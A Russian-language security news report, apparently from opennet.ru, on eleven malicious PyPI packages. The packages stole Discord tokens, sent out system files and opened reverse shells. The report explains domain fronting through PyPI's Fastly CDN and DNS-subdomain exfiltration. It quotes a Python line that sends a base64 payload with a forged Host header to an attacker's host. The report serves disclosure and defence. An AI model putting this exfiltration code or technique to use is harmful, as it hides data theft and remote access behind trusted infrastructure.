Des bibliothèques malveillantes ont été identifiées dans le catalogue PyPI qui utilisent le CDN PyPI pour masquer le canal de communication

В каталоге PyPI (Python Package Index) выявлено 11 пакетов, включающих вредоносный код. До выявления проблем в сумме пакеты успели загрузить около 38 тысяч раз. Выявленные вредоносные пакеты примечательны применением замысловатых способов скрытия каналов связи с серверами злоумышленников.

  • importantpackage (6305 загрузок), important-package (12897) — устанавливали соединение с внешним сервером под видом подключения к pypi.python.org для предоставления shell-доступа к системе (reverse shell) и использовали для скрытия канала связи программу trevorc2.
  • pptest (10001), ipboards (946) — использовали DNS в качестве канала связи для передачи сведений о системе (в первом пакете имя хоста, рабочий каталог, внутренний и внешний IP, в во втором — имя пользователя и хоста).
  • owlmoon (3285), DiscordSafety (557), yiffparty (1859) — выявляли в системе токен сервиса Discord и отправляли на внешний хост.
  • trrfab (287) — отправлял на внешний хост идентификатор, имя хоста и содержимое /etc/passwd, /etc/hosts, /home.
  • 10Cent10 (490) — устанавливал обратное shell-соединение с внешним хостом.
  • yandex-yt (4183) — выводил сообщение о компрометации системы и перенаправлял на страницу с дополнительной информацией о дальнейших действиях, выдаваемой через nda.ya.ru (api.ya.cc).

Отдельного внимания заслуживает метод обращения к внешним хостам, используемый в пакетах importantpackage и important-package, которые использовали для скрытия своей активности сеть доставки контента Fastly, применяемую в каталоге PyPI. Фактически запросы отправлялись на сервер pypi.python.org (в том числе, указывая имя python.org в SNI внутри запроса HTTPS), но при этом в HTTP-заголовок «Host» выставлялось имя сервера, подконтрольного атакующим (sec.forward.io.global.prod.fastly.net). Сеть доставки контента направляла подобный запрос на сервер атакующих, используя при передаче данных параметры TLS-соединения с pypi.python.org.

Работа инфраструктуры PyPI обеспечивается с привлечением сети доставки контента Fastly, в которой для кэширования типовых запросов используется прозрачный прокси Varnish, а также применяется обработка TLS-сертификатов на уровне CDN, а не конечных серверов, для организации проброса HTTPS-запросов через прокси. Независимо от целевого хоста запросы направляются в прокси, который определяет нужный хост по HTTP-заголовку «Host», а доменные имена хостов привязываются к типовым для всех клиентов Fastly IP-адресам балансировщиков нагрузки CDN.

Сервер атакующих также регистрируется в CDN Fastly, который предоставляет всем желающим бесплатные тарифные планы и даже допускает анонимную регистрацию. Примечательно, что для отправки запросов жертве при создании «reverse shell» используется также схема, но инициируемая со стороны хоста злоумышленников. Со стороны взаимодействие с сервером атакующих выглядит как легитимный сеанс с каталогом PyPI, шифруемый с использованием TLS-сертификата PyPI. Подобная техника, известная под именем «domain fronting», ранее активно использовалась для скрытия имени хоста при обходе блокировок, используя предоставляемую в некоторых CDN-сетях возможность обращения по HTTPS с указанием в SNI фиктивного хоста и фактической передачей имени запрашиваемого хоста в HTTP-заголовке Host внутри TLS-сеанса.

Des bibliothèques malveillantes ont été identifiées dans le catalogue PyPI qui utilisent le CDN PyPI pour masquer le canal de communication

Для скрытия вредоносной активности дополнительно применялся пакет TrevorC2, позволяющий сделать взаимодействие с сервером похожим на обычную web-навигацию, например, вредоносные запросы отправлялись под видом загрузки изображения «https://pypi.python.org/images/guid=» с кодированием информации в параметре guid. url = «https://pypi.python.org» + «/images» + «?» + «guid=» + b64_payload r = request.Request(url, headers = {‘Host’: «psec.forward.io.global.prod.fastly.net»})

В пакетах pptest и ipboards применялся другой подход для скрытия сетевой активности, основанный на кодировании полезной информации в запросах к DNS-серверу. Вредоносное ПО передаёт информацию, выполняя DNS-запросы вида «nu4timjagq4fimbuhe.example.com», в которых при помощи формата base64 в имени поддомена закодированы передаваемые на управляющий сервер данные. Злоумышленник принимает данные сообщения, контролируя DNS-сервер для домена example.com.

Source: opennet.ru

Ajouter un commentaire